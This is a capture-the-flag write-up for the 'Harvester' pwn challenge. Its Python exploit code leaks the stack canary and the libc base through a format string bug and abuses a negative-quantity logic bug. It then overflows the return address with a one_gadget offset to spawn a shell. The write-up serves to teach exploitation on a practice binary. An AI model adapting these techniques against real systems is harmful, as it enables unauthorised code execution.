Pwn - Harvester
This challenge is harder than the two others, first thing it's a PIE. And it's full of canaries, so if we find a buffer overflow we'll need to set it to the correct value.
By exploring the binary we find two vulnerabilities.
- The first one is format string vulnerability inside the
fight
function. - The second is a buffer overflow inside the
stare
function just large enough to overwrite one return address.
We can trigger the fight
vulnerability when we want, but the stare
one is
only available if we have a specific amount of pie on us.
Instead of farming pies, we found a logic bug inside the inventory
function
that allows us to drop a negative amount of pies.
So first thing to do is to leak some values from the stack, for this we did this function.
def format_exploit(progress, index):
progress.status("selecting menu fight")
select_menu('1')
progress.status("selecting weapon format string attack")
conn.recvuntil('> ')
conn.send(b'%%%d$p' % index);
conn.recvuntil(b"Your choice is: ")
progress.status("computing value")
value = conn.recvline()
value = value[:len(value) - 8]
value = 0 if value == b"(nil)" else int(value, 16)
return value
The first thing we want to retrieve is the canary to not trigger the overflow check failure.
def retrieve_canary():
with log.progress("retrieving canary") as progress:
return format_exploit(progress, 11)
The second thing we need to retrieve is the libc base address. To do this we can
go through the stack to find return addresses, until we find the main return
address, we can continue and we see where does the main function returns inside
the __libc_start_main
function. Meaning we've an address and can easily find
the offset so we know the libc base address.
def retrieve_libc_base_address():
with log.progress("retrieving libc base address") as progress:
libc_start_main_return = 0x21bf7
base = format_exploit(progress, 21)
libc.address = base - libc_start_main_return
Now that we know the canary and the libc base address we need to prepare ourself by having the right amount of pie.
def drop_pie(amount):
with log.progress("dropping pies") as progress:
progress.status("opening inventory menu")
select_menu('2')
progress.status("choose to drop some pies")
conn.recvuntil('> ')
conn.sendline('y')
progress.status("drop specified amount")
conn.recvuntil('> ')
conn.sendline(amount)
drop_pie('-11')
Finally we can do the overflow, the only problem is: where to return ? We can only return to one address. For this, one_gadget exists. If we provide the libc we're using, it gives us a list of return address that can open a shell.
Now that we know one of this super duper cool addresses we can forge our payload.
def retrieve_shell():
with log.progress("retrieving a shell") as progress:
progress.status("opening stare menu")
select_menu('3')
progress.status("forging rop")
rop = b"A" * (0x30 - 0x8)
rop += p64(canary)
# This value is not important
rop += p64(0x1234567890abcdef)
# 0x4f3d5 is the offset to open a shell with a single rop
# See: https://github.com/david942j/one_gadget
rop += p64(libc.address + 0x4f3d5)
progress.status("sending rop")
conn.recvuntil('> ')
conn.send(rop)
progress.status("remove error message")
conn.recvlines(2)
Now, with a shell, all we need to do is to cat the flag!